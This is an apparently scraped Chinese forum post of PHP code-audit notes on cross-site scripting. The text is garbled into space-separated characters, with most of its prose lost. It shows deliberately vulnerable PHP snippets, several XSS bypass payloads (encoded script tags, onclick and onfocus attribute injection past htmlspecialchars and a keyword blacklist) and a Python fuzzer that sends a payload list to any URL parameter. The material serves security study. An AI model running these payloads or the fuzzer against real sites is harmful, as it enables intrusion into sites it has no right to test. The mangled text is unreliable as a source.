[900] 2019-04-01_PHP代码审计笔记--XSS跨站脚本

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-16
2019-04-01_PHP代码审计笔记--XSS跨站脚本 P H P - - X S S   B y p a s s   B y p a s s   2 0 1 9 - 0 4 - 0 1 0 x 0 1   X S S   h t m l 0 x 0 2   X S S u r l u r l H T M L   E N C O D E u r l 0 x 0 3   H T M L H T M L i n p u t 使 ( " ) ,   ( ' ) H T M L 0 x 0 4       h t m l 使 X S S X S S ?     X S S   F U Z Z p y t h o n f u z z < ? p h p         e c h o   $ _ R E Q U E S T [   ' i d '   ] ; ? > ? i d = < s c r i p t > a l e r t ( / x s s / ) < / s c r i p t > < ? p h p $ a = u r l d e c o d e ( $ _ G E T [ ' i d ' ] ) ;   / / u r l $ b = h t m l s p e c i a l c h a r s ( $ a ) ;       / / H T M L   E N C O D E , e c h o   u r l d e c o d e ( $ b ) ;                 / / u r l ? > i d = % 2 5 2 5 3 C s c r i p t % 2 5 2 5 3 E a l e r t ( / x s s / ) % 2 5 2 5 3 C / s c r i p t % 2 5 2 5 3 E   < ? p h p         $ n a m e   =   h t m l s p e c i a l c h a r s ( $ _ G E T [ ' n a m e ' ] ) ; ? > < i n p u t   t y p e = ' t e x t '   c l a s s = ' s e a r c h '   v a l u e = ' < ? = $ n a m e ? > ' > ? n a m e = 2 2 2 '   o n c l i c k = ' a l e r t ( / x x s / ) < ? p h p         $ n a m e   =   h t m l s p e c i a l c h a r s ( $ _ G E T [ ' n a m e ' ] ) ;         $ p r e g s   =   " / < s c r i p t > | < / s c r i p t > | o n c l i c k | o n c o n t e x t m e n u | o n d b l c l i c k | o n m o u s e d o w n | o n m o u s e e n t e r | o n m o u s e l e a v e | o n m o u s e m o v e | o n m o u s e o v e r | o n m o u s e o u t | o n m o u s e u p | o n k e y d o w n | o n k e y p r e s s | o n k e y u p / i "         $ c h e c k   =   p r e g _ m a t c h ( $ p r e g s ,   $ n a m e ) ;         i f   ( $ c h e c k )   {                       e c h o   ' n o t   f o u n d ' ;                       e x i t ;         } ? > < i n p u t   t y p e = ' t e x t '   c l a s s = ' s e a r c h '   v a l u e = ' < ? = $ n a m e ? > ' >
f u z z P a y l o a d ? n a m e = 1 1 1 '   o n f o c u s = ' a l e r t ( / x s s / )
0 x 0 5     x s s 1 P H P h t m l e n t i t i e s ( ) h t m l s p e c i a l c h a r s ( )     H T M L   : 2 X S S   F U Z Z   < ? p h p                 e c h o   h t m l s p e c i a l c h a r s ( $ _ R E Q U E S T [   ' i d '   ] ) ; ? > 1 . h t m l C o n t e n t   S e c u r i t y   P o l i c y H t t p   H e a d e r X S S I E 2 . C o o k i e H t t p O n l y X S S C o o k i e I E 6 J S C o o k i e C o o k i e 3 . A P I R e f e r e r C S R F I E R e f e r e r # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s i m p o r t   u r l p a r s e i m p o r t   u r l l i b #   使 使 G E T P O S T X S S #   u r l     *           h t t p : / / 1 2 7 . 0 . 0 . 1 / t e s t . p h p ? i d = 1 * 3 3 3 3       p a y l o a d * g l o b a l   r e s u l t _ d i c t r e s u l t _ d i c t = { } d e f   g e t ( u r l , p a r a , p a y l o a d ) :     p a r a m s = { }     r e s u l t = u r l p a r s e . u r l p a r s e ( u r l )     p a r a m s = u r l p a r s e . p a r s e _ q s ( r e s u l t . q u e r y , T r u e )       i f   ' * '   i n   p a r a m s [ p a r a ] [ 0 ] :         p a r a m s [ p a r a ] = s t r ( p a r a m s [ p a r a ] [ 0 ] ) . r e p l a c e ( " * " ,   p a y l o a d ) ;     e l s e :         p a r a m s [ p a r a ] = s t r ( p a r a m s [ p a r a ] [ 0 ] ) + p a y l o a d     m _ u r l = r e s u l t . s c h e m e + " : / / " + r e s u l t . n e t l o c + r e s u l t . p a t h     d a t a   =   u r l l i b . u r l e n c o d e ( p a r a m s )     g e t u r l   =   m _ u r l + ' ? ' + d a t a     r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )     r e s u l t _ d i c t [ p a y l o a d ] = [ r e s p o n s e . c o n t e n t , l e n ( r e s p o n s e . c o n t e n t ) , r e s p o n s e . s t a t u s _ c o d e ]     r e t u r n   r e s u l t _ d i c t d e f   m a k e _ g e t _ r e s u l e ( u r l , p a r a ) :     w i t h   o p e n ( ' o n . t x t ' )   a s   f :             f o r   p a y l o a d   i n   f . x r e a d l i n e s ( ) :             p a y l o a d   = p a y l o a d . s t r i p ( )             i f   ' # '   i n   p a y l o a d   o r   l e n ( p a y l o a d ) = = 0 :                 p a s s             e l s e :                 g e t ( u r l , p a r a , p a y l o a d )                 r e s u l t _ a n a l y s i s ( p a y l o a d )      
d e f   p o s t ( u r l , d a t a , p a r a , p a y l o a d ) :     p a r a m s = { }     p a r a m s = u r l p a r s e . p a r s e _ q s ( d a t a , T r u e )       i f   ' * '   i n   p a r a m s [ p a r a ] [ 0 ] :         p a r a m s [ p a r a ] = s t r ( p a r a m s [ p a r a ] [ 0 ] ) . r e p l a c e ( " * " ,   p a y l o a d ) ;     e l s e :         p a r a m s [ p a r a ] = s t r ( p a r a m s [ p a r a ] [ 0 ] ) + p a y l o a d     r e s p o n s e   =   r e q u e s t s . p o s t ( u r l , d a t a = p a r a m s , t i m e o u t = 5 )     r e s u l t _ d i c t [ p a y l o a d ] = [ r e s p o n s e . c o n t e n t , l e n ( r e s p o n s e . c o n t e n t ) , r e s p o n s e . s t a t u s _ c o d e ]     r e t u r n   r e s u l t _ d i c t d e f   m a k e _ p o s t _ r e s u l e ( u r l , d a t a , p a r a ) :     w i t h   o p e n ( ' o n . t x t ' )   a s   f :             f o r   p a y l o a d   i n   f . x r e a d l i n e s ( ) :             p a y l o a d   = p a y l o a d . s t r i p ( )             i f   ' # '   i n   p a y l o a d   o r   l e n ( p a y l o a d ) = = 0 :                 p a s s             e l s e :                 p o s t ( u r l , d a t a , p a r a , p a y l o a d )                 r e s u l t _ a n a l y s i s ( p a y l o a d ) d e f   r e s u l t _ a n a l y s i s ( p a y l o a d ) :     i f     p a y l o a d   i n   r e s u l t _ d i c t [ p a y l o a d ] [ 0 ] :         p r i n t   " [ + ] "   +   p a y l o a d   + "     o k "     i f     r e s u l t _ d i c t [ p a y l o a d ] [ 0 ] . c o u n t ( p a y l o a d ) > 1 :         p r i n t   " [ + ] "   +   p a y l o a d   + "     r e p e a t " i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :     r e s u l t _ d i c t = { }     m e t h o d s e l e c t   =   r a w _ i n p u t ( " [ ? ]   S e l e c t   m e t h o d :   [ G ] E T   o r   [ P ] O S T   ( G / P ) :   " ) . l o w e r ( )     i f   m e t h o d s e l e c t   = =   ' g ' :         u r l   =   r a w _ i n p u t ( " P l e a s e   i n p u t   u r l : " )         p a r a   =   r a w _ i n p u t ( " P l e a s e   i n p u t   p a r a : " )         i f   ' h t t p s : / / '   i n   u r l :             p a s s         e l i f   ' h t t p : / / '   i n   u r l :             p a s s         e l s e :             u r l   =   " h t t p : / / " + u r l                 m a k e _ g e t _ r e s u l e ( u r l , p a r a )     e l i f   m e t h o d s e l e c t   = =   ' p ' :         u r l   =   r a w _ i n p u t ( " P l e a s e   i n p u t   u r l : " )         d a t a   =   r a w _ i n p u t ( " P l e a s e   i n p u t   d a t a : " )         p a r a   =   r a w _ i n p u t ( " P l e a s e   i n p u t   p a r a : " )         i f   ' h t t p s : / / '   i n   u r l :             p a s s         e l i f   ' h t t p : / / '   i n   u r l :             p a s s         e l s e :             u r l   =   " h t t p : / / " + u r l         m a k e _ p o s t _ r e s u l e ( u r l , d a t a , p a r a )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则